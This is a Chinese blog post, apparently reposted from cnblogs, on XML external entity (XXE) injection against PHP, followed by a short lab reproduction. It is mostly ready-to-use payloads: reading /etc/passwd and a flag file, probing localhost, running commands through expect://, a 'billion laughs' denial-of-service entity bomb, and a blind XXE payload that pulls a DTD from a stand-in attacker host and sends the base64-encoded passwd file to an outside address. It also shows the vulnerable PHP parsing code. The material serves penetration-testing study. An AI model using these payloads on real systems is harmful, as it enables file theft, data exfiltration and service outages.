码迷,mamicode.com
首页 > Web开发 > 详细

PHP环境 XML外部实体注入漏洞(XXE)

时间:2019-01-13 12:27:02      阅读:254      评论:0      收藏:0      [点我收藏+]

标签:local   amp   end   oct   XML   读取数据   one   参考   file   

XXE

XXE漏洞的文章网上就很多了

文件读取

<!DOCTYPE root[
        <!ENTITY  xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&xxe;</name></root>
<!DOCTYPE root[
        <!ENTITY  xxe SYSTEM "file:///home/ctf/flag.txt">
]>
<root><name>&xxe;</name></root>
<!DOCTYPE root[
        <!ENTITY  xxe SYSTEM "c:/windows/date.ini">
]>
<root><name>&xxe;</name></root>

内网探测

<!DOCTYPE root[
        <!ENTITY  xxe SYSTEM "http://localhost/">
]>
<root><name>&xxe;</name></root>

命令执行

<!DOCTYPE root[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ls" >
]>
<root>
<name>&xxe;</name>
</root>

Dos攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Blind XXE

  • payload
<!DOCTYPE root[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % dtd SYSTEM "http://www.xxx.com/evil">
    %dtd;
    %all;
    %send;
]>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://xx.xx.xx.xx/?f=%file;'>">

复现

容器启动后先看一下其中的代码
技术分享图片

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

从php://input读取数据,直接post就行
技术分享图片

参考:
浅谈XXE漏洞攻击与防御

PHP环境 XML外部实体注入漏洞(XXE)

标签:local   amp   end   oct   XML   读取数据   one   参考   file   

原文地址:https://www.cnblogs.com/leixiao-/p/10244927.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!